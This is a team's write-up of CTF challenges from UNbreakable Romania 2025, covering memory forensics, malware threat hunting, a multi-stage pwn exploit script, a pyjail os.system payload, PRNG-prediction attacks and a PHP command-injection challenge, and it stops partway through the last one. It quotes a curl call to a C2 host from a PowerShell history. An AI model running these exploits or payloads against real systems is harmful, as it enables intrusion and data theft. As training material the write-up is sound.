UNbreakable Romania Teams 2025 Write-ups

unr

Introduction

These write-ups detail the challenges our team solved in the UNbreakable Romania Teams 2025 CTF, securing our place in the finals. Thanks to my teammates for their collaboration and to the organizers for a well-run event.


jvroom: Forensics

Proof of flag

Q1. What version of OS build is present?
Answer: 19041

Q2. What is the PID of the text viewing program?
Answer: 7296

Q3. What is the parent process name of the text viewing program?
Answer: explorer.exe

Q4. What is the number of characters for the command that opens the important file?
Answer: 73

Q5. Tool that can be used to work with a hex dump.
Answer: xxd

Q6. What car manufacturer is being compromised?
Answer: toyota

Q7. What is the decoded information that was stolen?
Answer: w1Nd0W5_w1Th_f0Rd_r4M

Q8. From which car model was the key stolen?
Answer: supra

Q9. At which hexadecimal memory location (32 bytes aligned) can the car model be found?
Answer: 2f86bf60

Summary

In this challenge, we are given a memory dump of a Windows system. We analyze the memory dump with tools like volatility and xxd to extract information and answer the questions.

Solution

For this challenge, we relay havily on the volatility framework. We use the volatility command to analyze the memory dump and extract information about the processes running on the system.

You can find a very useful cheat sheet for volatility commands that can assist in the analysis here: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.html

1. What version of OS build is present?

vol3 -f memdump.mem windows.info.Info

The output of the command will show the OS build version. In this case, it is 19041.

Kernel Base	0xf80566c1e000
DTB	0x1aa000
Symbols	file:///home/mateim/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/167FE94B5641C005AC3036212A01F8DC-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e
memory_layer	1 FileLayer
KdVersionBlock	0xf8056782d420
Major/Minor	15.19041
MachineType	34404
KeNumberProcessors	4
SystemTime	2025-04-04 09:58:32
NtSystemRoot	C:\Windows
NtProductType	NtProductWinNt
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Tue Sep 26 06:53:33 2023

2. What is the PID of the text viewing program?

vol3 -f memdump.mem windows.pslist.PsList 

We look at the output and we find the PID of notepad.exe, which is the text viewing program. The PID is 7296.

7296	5840	notepad.exe	0x9d03283d1300	1	-	1	False	2025-04-04 09:47:05.000000 	N/A	Disabled

3. What is the parent process name of the text viewing program?

We run the same command as before but this time we look at the PID 5840 (the PPID of notepad.exe). The parent process name is explorer.exe.

4. What is the number of characters for the command that opens the important file?

vol3 -f memdump.mem windows.cmdline.CmdLine

The command that opens the important file is:

C:\Windows\system32\NOTEPAD.EXE C:\Users\elasticuser\Desktop\toyota.txt

The number of characters is 73.

5. Tool that can be used to work with a hex dump.

From common knowledge, we know that xxd is a tool that can be used to work with hex dumps. We can use it to convert the hex dump to binary and vice versa.

6. What car manufacturer is being compromised?

From the answer to question 4, we can see that the file toyota.txt is being opened. This indicates that the car manufacturer being compromised is toyota.

7. What is the decoded information that was stolen?

strings memdump.mem | grep toyota

If we look at the output of the command, we can see this:

key to open my toyota supra is , i think ....
toyota key is dzFOZDBXNV93MVRoX2YwUmRfcjRN
toyota key is dzFOZDBXNV93MVRoX2YwUmRfcjRN
toyota key is dzFOZDBXNV9
toyota key is dzFOZDBXNV7=
toyota key is dzFOZDB

If we decode base64, we get the following string:

dzFOZDBXNV93MVRoX2YwUmRfcjRN -> decoded from base 64 -> w1Nd0W5_w1Th_f0Rd_r4M

https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)&input=ZHpGT1pEQlhOVjkzTVZSb1gyWXdVbVJmY2pSTg

8. From which car model was the key stolen?

From the output of the command in question 7, we can see that the car model is supra.

9. At which hexadecimal memory location (32 bytes aligned) can the car model be found?

xxd memdump.mem | grep supra
0a770c40: 7375 7072 616f 7264 696e 617a 6168 7324  supraordinazahs$
114ec150: 7974 7465 6e5c 7375 7072 616d 6178 696c  ytten\supramaxil
14264300: 6e64 736f 706c 7973 f931 7375 7072 616f  ndsoplys.1suprao
15f9aef0: 617a 616d 2073 7570 7261 6f72 6469 6e61  azam supraordina
1a7c1f90: f3ac 0580 0812 6967 7374 2073 7570 7261  ......igst supra
216c2700: 1267 656c 7365 255c 7375 7072 6161 7464  .gelse%\supraatd
264d6c10: 7375 7072 616f 7264 696e 6172 7973 0068  supraordinarys.h
283e9630: 125c 7375 7072 616d 6178 6e65 7474 796b  .\supramaxnettyk
2f86bf60: 6f79 6f74 6120 7375 7072 6120 6973 202c  oyota supra is ,
36f93640: 6273 6b79 7474 656e 5c73 7570 7261 6d61  bskytten\suprama

The answer is 2f86bf60.


keep-it-locked: Forensics

Proof of flag

UNR{n0_p@ss0rd_man@g3r_can_KEE_m3_0ut}

Summary

In this challenge, we relay heavily on the volatility framework to analyze the functionality of a mallware that extracts data from a keepass database.

Solution

Because we know that we have a mallware present on the system (which has been ran), we can use this useful volatility command to find hidden and injected code:

vol.py -f file.dmp windows.malfind.Malfind

Somewhere in the output we can see this:

1004	KeePass.exe	0x1650000	0x1650fff	VadS	PAGE_EXECUTE_READWRITE	1	1	Disabled	N/A	
74 30 6d 61 74 30 50 6f	t0mat0Po
74 40 74 6f 53 6f 75 70	t@toSoup
31 31 31 00 00 00 00 00	111.....
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........

Which represents the data that was injected into the keepass process.

From this we deduse that the password that opens the database is t0mat0Pot@toSoup111.

Next we scan all the files in the system:

vol3 -f dump_new.raw  windows.filescan.FileScan

We find out the virtual address of the keepass database.

0xdc84d384f9e0	\Users\windows\Desktop\Database.kdbx	216

And we just extract it with the following command:

vol3 -f dump_new.raw windows.dumpfiles.DumpFiles --virtaddr 0xdc84d384f9e0

After this, we just open the database and put in the password we found before and get the flag.


malware-chousa: Threat Hunting

Proof of flag

Q1. What .bat file is the source of infection?
Answer: start.bat

Q2. What Windows Logs file from EventViewer contains information about creation of users?
Answer: Security

Q3. What new user was created by malware? (see log.evtx)
Answer: artifact

Q4. What is the extension of the encrypted files?
Answer: .a4k

Q5. From what IP is backdoor downloaded? (see capture.pcapng)
Answer: 192.168.100.47

Q6. What registry is used for persistence? (see registry.reg)
Answer: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Q7. Path of the Powershell history file?
Answer: C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Q8. Enter the flag
Answer: CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}

Summary

In this cahllenge, we are given multiple files:

  • log.evtx: Windows Event Viewer log file
  • registry.reg: Windows Registry file
  • capture.pcapng: Network traffic capture file
  • image.ad1: Windows image file

We analyze the provided files with multiple tools to extract information about the malware and answer the questions.

Solution

1. What .bat file is the source of infection?

For the first question, we from the anser format specified that we need to find a .bat file.

strings * | grep .bat              

Output:

H+zbat
Gbat26
Gbat.
`bat
CollectSyncLogs.bat
CollectSyncLogs.bat
Iabat
Mpbat
Jbat
Obat?
start.bat
start.bat

The answer is start.bat.

2. What Windows Logs file from EventViewer contains information about creation of users?

We can find the answer to this question just by asking ChatGPT. The answer is Security.

3. What new user was created by malware? (see log.evtx)

We open the log.evtx file in Event Viewer and look for the user creation event. The user creation event is associated with Event ID 4720. We can filter the events by this ID to find the relevant event.

filter

After filtering, we can see that the new user created by the malware is artifact by looking through different events.

logs

4. What is the extension of the encrypted files?

Opening the image.ad1 file in FTK Imager, and looking at different files, we can see that the extension of the encrypted files is .a4k.

encrypted

5. From what IP is backdoor downloaded? (see capture.pcapng)

The IP could easealy be found by opening the capture.pcapng file in Wireshark and looking at the packets. We can filter the packets by HTTP to find the relevant packets.

6. What registry is used for persistence? (see registry.reg)

We can just open the registry.reg file in a text editor and just search for start.bat to find the registry key used for persistence. The answer is HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"OneDrive"="\"C:\\Users\\atomi\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /background"
"PersistentExecutable"="C:\\Users\\atomi\\Desktop\\start.bat"
"MicrosoftEdgeAutoLaunch_BFF4AC6920A84A7751B7395B74F502DA"="\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --win-session-start"

7. Path of the Powershell history file? We can find the path of the Powershell history file by looking at the image.ad1 file in FTK Imager. The path is C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt.

8. What is the flag for this challenge?

The flag is located in the history file.

Clear-History
curl http://c2implant.com/flag=CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}
cat 'C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'

The flag is CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}.


stolen-data: Mobile

Proof of flag

CTF{9a4477c0b485e0427c177e1b4274df935f3bc867e537aae5bd54e0b22ea71eb1}

Summary

In this challenge, we are given an apk file. We use it in order to emulate the mobile app, we abuse a missconfiguration in the app that allows us to obtain an admin cookie just by knowing its email. We then change the password and login and get the flag.

Solution

Without looking at the code, we just load up the apk file in android strudio in order to emulate it and then just inspect the network traffic with burpsuite.

After logining in, with the name, email, and the password, we can see that the server gives as a session cookie or a session id. After further inspection, we can see an API endpoint (/api/auth/me), that allows us the send an email and recive a session cookie that is atributed to the email.

Because we know the email of the admin, we can just send a request to the endpoint and get the session cookie. After this, we can just change the password and login with the new password and get the flag.


scoala-de-paunari: Pwn

Proof of flag

CTF{plu5_s1_minu5_1n_sc4nf_d3zvalu1e_s3cre7e}
CTF{m0d_s1_d0lar_1n_prin7f_p0t_f4ce_ravag11}
CTF{v3chiul_env1ron_3_mer3u_d3_n4dejd3}
CTF{un_by7e_5cr1s_1n_FINI_3_suf1c1en7}

Summary

In this challenge, we are given an executable file and a Dockerfile. We appaly diffrent pwn techniques to get the flags.

Solution

Before we begin it is important to mention that we needed to solve this challange in a docker container (On a kali machine it doesn’t work). The docker file is provided in the challenge. We can build the docker image with the following command:

# Build the Docker image
docker build -t paunari .
# Run the Docker container
docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined paunari

This is the start of our script:

from pwn import *
import os

os.system('rm core.*')

context.terminal = ['tmux', 'split-window', '-h']
elf=context.binary=ELF("paunari")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')



# p=process(elf.path,level='error')
p=remote("34.159.27.166",31653)

1. Year 1

unsigned __int64 year1()
{
  int v1; // [rsp+Ch] [rbp-24h] BYREF
  _QWORD v2[2]; // [rsp+10h] [rbp-20h] BYREF
  char *v3; // [rsp+20h] [rbp-10h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts(aAnul1);
  puts("[*] Bun venit Bobocule! In primul an ne vom concentra pe intelegerea Zonelor de Memorie asociate Executabilului.");
  printf(" > Introdu un numar cuprins intre 0-9: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 9 )
  {
    puts("[!] Numar incorect! Ne vedem la toamna.");
    exit(1);
  }
  printf(" > Introdu o noua valoare: ");
  __isoc99_scanf("%ld", &global_array[v1]);
  printf("   Valoarea introdusa la index %d este = 0x%lx\n", v1, global_array[v1]);
  printf(" > Introdu Adresa de memorie unde incepe Executabilul: ");
  __isoc99_scanf("%lx", v2);
  v2[1] = 0LL;
  if ( v2[0] )
  {
    puts("[!] Valoarea introdusa este gresita! Ne vedem la toamna.");
    exit(1);
  }
  v3 = getenv("FLAG1");
  if ( v3 )
    printf("[*] Felicitari! Diploma de absolvire a anului intai: %s\n", v3);
  else
    puts("[*] Felicitari! Contacteaza adminul pentru a obtine diploma de absolvire.");
  puts(&byte_243A);
  return v4 - __readfsqword(0x28u);
}

The main idea hear was the leak an addres from the executable file. We can achive that by passing a negative index and then write - insted of a value in order to basicaly skip the operation.

After the leak we can just calucalte the offset until the PIEBASE and then we can just send the address of the executable to the server and get the first flag.

Here is the code that we used to achive this:

######################################################YEAR1################
p.sendlineafter(b"0-9: ",b'-10') #offset=15824
p.sendlineafter(b'valoare: ',b'-')

p.recvuntil(b'este = ')

leak=p.recvline().strip().decode()

leak=int(leak,16)

piebase=leak-15824
elf.address=piebase

print("Piebase: ", hex(piebase))

p.sendlineafter(b'Executabilul: ',str(hex(piebase)))

######################################################YEAR1################

2. Year 2

unsigned __int64 year2()
{
  _QWORD v1[2]; // [rsp+8h] [rbp-28h] BYREF
  char *v2; // [rsp+18h] [rbp-18h]
  char format[4]; // [rsp+23h] [rbp-Dh] BYREF
  char v4; // [rsp+27h] [rbp-9h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts(aAnul2);
  puts(
    "[*] Bun venit Juniorule! In al doilea an ne vom concentra pe intelegerea literaturii, motiv pentru care vom vizita B"
    "iblioteci si Librarii.");
  *(_DWORD *)format = 0;
  v4 = 0;
  printf(" > Introdu un cuvant de 4 caractere: ");
  __isoc99_scanf("%4s", format);
  printf("   ");
  printf(format);
  putchar(10);
  printf(" > Introdu Adresa de memorie unde incepe libc: ");
  __isoc99_scanf("%lx", v1);
  v1[1] = &puts - 62952;
  if ( &puts - 62952 != (int (**)(const char *))v1[0] )
  {
    puts("[!] Valoarea introdusa este gresita! Ne vedem la toamna.");
    exit(1);
  }
  v2 = getenv("FLAG2");
  if ( v2 )
    printf("[*] Felicitari! Diploma de absolvire a anului doi: %s\n", v2);
  else
    puts("[*] Felicitari! Contacteaza adminul pentru a obtine diploma de absolvire.");
  puts(&byte_243A);
  return v5 - __readfsqword(0x28u);
}

Similar to the first year, we need to provide the LIBC base addres in order to get the flag.

Looking at the code we have a simple printf leak vulnerability. We can send a payload like %p and get an address from the libc. After this we can just calculate the offset to the libc base and send it to the server.

######################################################YEAR2################

payload = b'%4$p'
p.sendafter(b'caractere: ',payload) 

leak=p.recvline().strip().decode()
leak=int(leak,16)

libcaddr=leak-1688512
libc.address=libcaddr


print("Libc: ",hex(libcaddr))

p.sendlineafter(b'libc: ',str(hex(libcaddr)))

######################################################YEAR2################

3. Year 3

unsigned __int64 year3()
{
  unsigned __int64 v0; // rax
  _BYTE v2[4]; // [rsp+Ch] [rbp-44h] BYREF
  ssize_t v3; // [rsp+10h] [rbp-40h]
  unsigned __int64 *v4; // [rsp+18h] [rbp-38h]
  unsigned __int64 v5; // [rsp+20h] [rbp-30h]
  _BYTE *v6; // [rsp+28h] [rbp-28h]
  unsigned __int64 v7; // [rsp+30h] [rbp-20h]
  char *v8; // [rsp+38h] [rbp-18h]
  unsigned __int64 *buf; // [rsp+40h] [rbp-10h] BYREF
  unsigned __int64 v10; // [rsp+48h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts(aAnul3);
  puts("[*] Bun venit Seniorule! In al treilea an ne vom concentra pe intelegerea Structurilor de Date.");
  buf = 0LL;
  printf(" > Introdu o adresa de memorie: ");
  v3 = read(0, &buf, 8uLL);
  v4 = buf;
  v5 = *buf;
  printf("   S-a citit valoarea 0x%lx de la adresa 0x%lx\n", v5, buf);
  v6 = v2;
  if ( v2 >= v5 )
    v0 = &v6[-v5];
  else
    v0 = v5 - v6;
  v7 = v0;
  if ( v0 > 0xFFFFF )
  {
    puts("[!] Valoarea citita nu corespunde segmentului stack! Ne vedem la toamna.");
    exit(1);
  }
  v8 = getenv("FLAG3");
  if ( v8 )
    printf("[*] Felicitari! Diploma de absolvire a anului trei: %s\n", v8);
  else
    puts("[*] Felicitari! Contacteaza adminul pentru a obtine diploma de absolvire.");
  puts(&byte_243A);
  return v10 - __readfsqword(0x28u);
}

This time we need to provide a stack address. In order to do this we can just send the the binary the address of environ from libc (we have the base of libc from the previous year). The address of environ points to the stack and we can just use it to get the flag.

######################################################YEAR3################
paylaod=p64(libc.symbols.environ)

p.sendlineafter(b'memorie: ',paylaod)

leak=p.recvline().strip().decode().split(' ')
leak=leak[3]

stack_leak=int(leak,16)


print("Stack Leak: ",hex(stack_leak))
######################################################YEAR3################

4. Year 4

void __noreturn year4()
{
  int v0; // [rsp+4h] [rbp-1Ch] BYREF
  _QWORD v1[3]; // [rsp+8h] [rbp-18h] BYREF

  v1[2] = __readfsqword(0x28u);
  puts(aAnul4);
  puts("[*] Bun venit Veteranule! In al patrulea an ne vom concentra pe Reactii Chimice care creaza scoici.");
  printf(" > Introdu adresa de memorie pe care doresti sa o modifici: ");
  __isoc99_scanf("%lx", v1);
  printf(" > Introdu byte-ul nou (in hex, de ex. 'ff'): ");
  __isoc99_scanf("%x", &v0);
  v1[1] = v1[0];
  *v1[0] = v0;
  puts(&byte_243A);
  exit(0);
}

This time the code allows us to write a byte at a specific address. We can use this in order to change the last byte of the the banner function but there is a catch.

In order to be able to change the last byte of the banner we needed to input an address that pointed to this function. In our case, by analyzing the binary with gdb we can see that the banner function has a pointer to it inside the fini_array.

The .fini_array is an array of function pointers that are automatically called when the program terminates. These functions perform cleanup tasks (for example, running global destructors).

Here is the solve script:

######################################################YEAR4################

win_addr_byte=p64(elf.symbols['win'])[0]

def change_byte(addr,btt):
    p.sendlineafter(b'modifici: ',addr)
    p.sendlineafter(b'): ',btt)

addr=str(hex(elf.symbols['fini_array']))[2:].encode()

bt=str(hex(win_addr_byte))[2:].encode()

change_byte(addr, bt)

######################################################YEAR4################

And here is the hole script that solves the challenge:

from pwn import *
import os

os.system('rm core.*')

context.terminal = ['tmux', 'split-window', '-h']
elf=context.binary=ELF("paunari")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')



# p=process(elf.path,level='error')
p=remote("34.159.27.166",31653)
######################################################YEAR1################
p.sendlineafter(b"0-9: ",b'-10') #offset=15824
p.sendlineafter(b'valoare: ',b'-')

p.recvuntil(b'este = ')

leak=p.recvline().strip().decode()

leak=int(leak,16)

piebase=leak-15824
elf.address=piebase

print("Piebase: ", hex(piebase))

p.sendlineafter(b'Executabilul: ',str(hex(piebase)))

######################################################YEAR1################
######################################################YEAR2################

payload = b'%4$p'
p.sendafter(b'caractere: ',payload) 

leak=p.recvline().strip().decode()
leak=int(leak,16)

libcaddr=leak-1688512
libc.address=libcaddr


print("Libc: ",hex(libcaddr))

p.sendlineafter(b'libc: ',str(hex(libcaddr)))

######################################################YEAR2################
######################################################YEAR3################
paylaod=p64(libc.symbols.environ)

p.sendlineafter(b'memorie: ',paylaod)

leak=p.recvline().strip().decode().split(' ')
leak=leak[3]

stack_leak=int(leak,16)


print("Stack Leak: ",hex(stack_leak))
######################################################YEAR3################
######################################################YEAR4################

win_addr_byte=p64(elf.symbols['win'])[0]

def change_byte(addr,btt):
    p.sendlineafter(b'modifici: ',addr)
    p.sendlineafter(b'): ',btt)

addr=str(hex(elf.symbols['fini_array']))[2:].encode()

bt=str(hex(win_addr_byte))[2:].encode()

change_byte(addr, bt)

######################################################YEAR4################


p.interactive()

PIN-v2: Reverse-Engineering

Proof of flag

CTF{ea875111287b0f7dd1db64c131e59ba2005e7a4611bace7aab827627e4161acc}

Summary

I used ChatGPT in order to reverse the binary and recover the PIN

Solution

After reversing the binary we find out that this is the pin: [0,3,1,0,$,R,t,A,10,50,50,127,255,7,127] alt text


Hangman: Miscellaneous

Proof of flag

ctf{609e75158367c10d4bd189db41206dbdde4d1c542279ea5275bbcdf440af7509}

Summary

I Bruteforced the letters using pwntools

Solution

At a first glance, we can see that the words generated in the hangman game are not usual words, rather random letters that don’t mean anything if put together. Knowing this i searched on google letters in the alphabet sorted by appearance in words and found this: etaoinshrdlcumwfgypbvkjxqz

I supposed that if i managed to guess the word, the flag would be revealed, and i was right. I grabbed a hold of the flag using this script:

from pwn import *

HOST = '34.107.108.126'
PORT = 31685

letters = 'etaoinshrdlcumwfgypbvkjxqz'
flag = ''
found = False
while True:
    if found == True:
        break
    conn = remote(HOST, PORT)
    print(conn.recv())
    for letter in letters:
        conn.sendline(letter.encode())
        caca = conn.recv().decode()
        if 'ctf' in caca or 'CTF' in caca:
            flag = caca
            found = True
        if 'The word was' in caca:
            conn.close()
            break
        else:
            print(caca)

print('found flag:', flag)

og-jail: Miscellaneous

Proof of flag

ctf{97829f135832f37a4b3d6176227cf6b96d481d543e6051c0087f24c1cd0881ed}

Summary

Classic pyjail ctf in which i used '__import__("os").system("echo FLAG: && cat flag.txt")'

Solution

After interacting with the instance, we can see that this is a classic pyjail ctf, and it was relatively an easy one. With GPT, i got the following payload: '__import__("os").system("echo FLAG: && cat flag.txt")'

alt text


bnc: Cryptography

Proof of flag

ctf{5fd924625f6ab16a19cc9807c7c506ae1813490e4ba675f843d5a10e0baacdb8}

Summary

I used a time based attack on the instance

Solution

The challenge comes with this script:

import random
from flag import flag
import time
choices = ["Bear", "Ninja", "Cowboy"]

rules = {
    "Bear": "Ninja",
    "Ninja": "Cowboy",
    "Cowboy": "Bear"
}

def determine_winner(player_choice, computer_choice):
    if player_choice == computer_choice:
        return "tie"
    elif computer_choice == rules[player_choice]:
        return "win"
    else:
        return "lose"
ok = 0
def play_game():
    seed = int(time.time())
    random.seed(seed)
    global ok
    print("Welcome to Bear, Ninja, Cowboy!")
    
    win_streak = 0
    target_wins = 30

    while win_streak < target_wins:
        print(f"\nWin streak: {win_streak}/{target_wins}")
        print("\nChoose one: Bear, Ninja, or Cowboy")
        
        player_choice = input("Type your choice: ")
        
        rule_checker = 0
        for rule in rules:
            if player_choice == rule:
                rule_checker = 1
        if rule_checker == 0:
            print("You have to choose between Bear, Ninja and Cowboy")
            ok = 1
            return
        computer_choice = random.choice(choices)
        
        print(f"\nYou chose: {player_choice}")
        print(f"Computer chose: {computer_choice}")
        
        result = determine_winner(player_choice, computer_choice)
        
        if result == "win":
            win_streak += 1
            print(f"You win! {player_choice} beats {computer_choice}.")
        elif result == "lose":
            win_streak = 0  
            print(f"You lose! {computer_choice} beats {player_choice}. Streak reset!")
            ok = 1
            return
        else:
            print("It's a tie! No streak change.")
        

play_game()
if ok == 0:
    print(f"\nCongratulations! {flag}")

This instruction compromises the instance, because the user can use the same seed in order to generate the choices that the computer will take: seed = int(time.time())

To grab a hold of a flag, we use the following script:

import time
from pwn import *
import random

conn = remote('34.159.72.10', 31018)
seed = int(time.time())
random.seed(seed)

caca = ["Bear", "Ninja", "Cowboy"]
choices = []

rules = {
    "Bear": "Ninja",
    "Ninja": "Cowboy",
    "Cowboy": "Bear"
}

for i in range(31):
    choices.append(random.choice(caca))

for choice in choices:
    ale = ''
    for a in rules:
        if rules[a] == choice:
            ale = a
    conn.sendline(ale.encode())
    print(conn.recv())

Very important, we firstly connect to the instance using pwntools, then we grab the time seed. This ensures that the delay of connection will not cause a different seed on the instance.

alt text

gamming-habbits: OSINT


Proof of flag

ctf{6acfb96047869efed819b66c2bab15565698d8295ca78d7d4859a94873dcc5ce}

Summary

I found on reddit the location of the green house.

Solution

Looking at the image, i realized that this is from DayZ, so the challenge is to find on the DayZ map the location of the house in the image

alt text

I searched on google until i found this post on reddit (At the time i solved the challenge, the post wasn’t removed LOL)

alt text

alt text

alt text

wheel-of-fortune: Cryptography


Proof of flag

ctf{49e6b3ba5aa5a624d22dd1d2cc46804b5d3c51b13096dffb5cd6af8a9ec4eed5}

Summary

I used a tool in order to predict the future numbers

Solution

The challenge comes without a script, but the thing was to think about the instance’s functionality. In this case, you had to figure out that it is about PRNG’s, which solved half of the problem. The second step to solve the challenge was to find out that there is a tool on the web which takes PRNG generated numbers and predicts the future appearances.

I solved the challenge using this script:

from pwn import log, remote
import sys
from mt19937predictor import MT19937Predictor

def main():
    HOST = '34.159.27.166'
    PORT = 32624
    
    conn = remote(HOST, PORT)
    log.info("Connected to remote service")
    
    data = conn.recv()
    print(data.decode(errors='ignore'))
    
    predictor = MT19937Predictor()
    count = 0

    log.info("Collecting 624 outputs from service using the new extraction snippet...")
    while count < 624:
        conn.sendline(b'1')
        conn.recvuntil(b"value: ")
        number_line = conn.recvuntil(b"\n").strip()
        try:
            a = int(number_line)
        except Exception:
            log.error(f"Failed to parse number: {number_line}")
            continue
        log.info(f"Output {count+1}: {a}")
        predictor.setrandbits(a, 32)
        count += 1
        conn.recv()
    
    if count < 624:
        log.error("Not enough outputs collected from the service. Got only " + str(count) + " outputs.")
        sys.exit(1)
    
    log.info("624 outputs collected. Recovering state and predicting next outputs...")
    
    predictions = []
    for i in range(100):
        raw_pred = predictor.getrandbits(32)
        predictions.append(raw_pred)
        log.info(f"Raw prediction {i+1}: {raw_pred}")
    
    transformed = []
    for x in predictions:
        a = ((((x ^ 7) * 37 + 29) // 10000 + 1) % 100) + 1
        transformed.append(a)
    
    output_file = "predictions.txt"
    with open(output_file, "w") as outf:
        for val in transformed:
            outf.write(f"{val}\n")
    
    log.info("Predictions written to " + output_file)
    print("Transformed predictions:")
    print(transformed)
    
    log.info("Sending predictions to the remote service...")
    cnt = 0
    for guess in transformed:
        if cnt != 0:            
            prompt = conn.recvuntil(b"Guess the number between 1 and 100:")
            log.info("Received prompt: " + prompt.decode(errors="ignore"))
        else: cnt += 1
        conn.sendline(str(guess).encode())
        log.info("Sent guess: " + str(guess))
        response = conn.recvline(timeout=2)
        if response:
            log.info("Received response: " + response.decode(errors="ignore"))
    
    log.info("All predictions sent. Switching to interactive mode.")
    conn.interactive()

if __name__ == "__main__":
    main()

alt text


silent-beacon: Network

Proof of flag

ctf{32faf5270d2ac7382047ac3864712cd8cb5b8999511a59a7c5cb5822e0805b91}

Summary

I extracted an mp3 file from the packet file which read the flag out loud.

Solution

At first, i ran the command strings on the capture file, beacuse in most cases this can lead towards important clues.

alt text

This is the signature of the LAME MP3 encoder, so the next step was extracting mp3 using this script:

import os
import re

MP3_HEADER_REGEX = re.compile(rb'(ID3.{0,1024}|(\xff[\xfb\xf3\xf2][\x00-\xff]{2}))')
LAME_TAG = b'LAME3.100'

def carve_mp3_from_raw(pcap_path, output_folder="raw_carved_mp3"):
    with open(pcap_path, 'rb') as f:
        raw_data = f.read()

    os.makedirs(output_folder, exist_ok=True)

    matches = list(MP3_HEADER_REGEX.finditer(raw_data))
    if not matches:
        print("[-] No MP3 headers found.")
        return

    for i, match in enumerate(matches):
        start = match.start()
        chunk = raw_data[start:start + 10_000_000]
        lame_pos = chunk.find(LAME_TAG)
        if lame_pos != -1:
            print(f"[+] LAME tag found in chunk {i} at offset {lame_pos}")

        out_file = os.path.join(output_folder, f"carved_{i}.mp3")
        with open(out_file, 'wb') as out:
            out.write(chunk)
        print(f"[+] MP3 carved to: {out_file}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage: python raw_mp3_carver.py capture.pcap")
        sys.exit(1)

    carve_mp3_from_raw(sys.argv[1])

This extracted all mp3 files, and the first one when opened, read the flag out loud.


scattered: Network

Proof of flag

CTF{28193eab5b637041aea835924e8a712476bc88a21a25862b78732ab336ba2f33}

Summary

In this challenge, we are given a network capture. The flag is obtained by retreiving 3 images known as parts, which build the flag.

Solution

I opened the pcap file in wireshark and i looked through the packages. At frist glance there are many HTTP and DNS packets, however after a bit of reserach we can see intresting udp packets which contain string like : “FILE:part6.png”. I began following the stream and i understood that the image is divided in different parts.

I started by reconstructing each of them, by placing the hex bytes in a txt file, using wireshark, and removing the strings that contain “FILE:”, and “PART:” and constructing the images using this script:

import re

def remove_encoded_tags_from_hex(hex_string):
    # Convert hex to bytes
    byte_data = bytes.fromhex(hex_string)

    # Decode to latin1 so we can manipulate the embedded text safely
    text = byte_data.decode('latin1')

    # Remove any "FILE:<filename>.png:PART<number>:" tags
    cleaned_text = re.sub(r'FILE:[\w\d_.-]+\.png:PART\d+:', '', text)

    # Optionally remove FILE:<filename>.png:END tags
    cleaned_text = re.sub(r'FILE:[\w\d_.-]+\.png:END', '', cleaned_text)

    # Re-encode cleaned text back to bytes
    return cleaned_text.encode('latin1')

def process_hex_input(input_file="hex_input.txt", output_file="output.png"):
    # Read the original hex string (no formatting assumptions)
    with open(input_file, "r") as f:
        hex_data = f.read()

    # Remove whitespace/newlines
    hex_data = re.sub(r'\s+', '', hex_data)

    # Process and clean
    cleaned_bytes = remove_encoded_tags_from_hex(hex_data)

    # Save as PNG
    with open(output_file, "wb") as f:
        f.write(cleaned_bytes)

    print(f"✅ Cleaned and saved as: {output_file}")

if __name__ == "__main__":
    process_hex_input()

#frame contains "part"

Then we find that the flag is divided in three parts, which are in: part1.png, part6.png and part8.png

phpwn: Web

Proof of flag

CTF{f4349967e93964f125623e2832cec93e4d15e1c6b9303cc89bb3f22c2514d77c}

Summary

In this challenge, we can execute malicious comamnds using a backup feature in order to read the flag.

Solution

At first glance, we are presented with an input asking for a uuid. Using “https://www.uuidgenerator.net/”, i managed to create a uuid in order for me to progress to the next input. By reading the source file we can find this function :

    function setbackup($uuid, $content){
    $raw_json = ['uuid' => $uuid, 'm_threaded' => false, 'supplier' => false, 'initial_content' => $content];
    $json = json_encode($raw_json);
    $json = addslashes($json);
    $output = "echo Backing up user data: \"{$json}\";\n";
    $output .= "cp /var/www/html/data/$uuid /backup/;\n\n";
    file_put_contents('private/backup.sh', $output, FILE_APPEND); #/var/www/html/private/backup.sh
    }

Which places the echo command in a backup.sh function.

In the challenge description, this is mentioned: “Automatic backups every minute included in free tier!”, so we know that this script is ran every minute.

By examining this code :

 $dir = '/var/www/html/data/'; 
    $file = $dir . $uuid;
    $new_user = !file_exists($file);
    $content = '';

    if (isset($_POST['content'])){
        $content =  $_POST['content'];
        file_put_contents($file, $content);
        if($new_user)
            setbackup($uuid,$content); 
    } else if (!$new_user){
        $content=file_get_contents($file);
    }

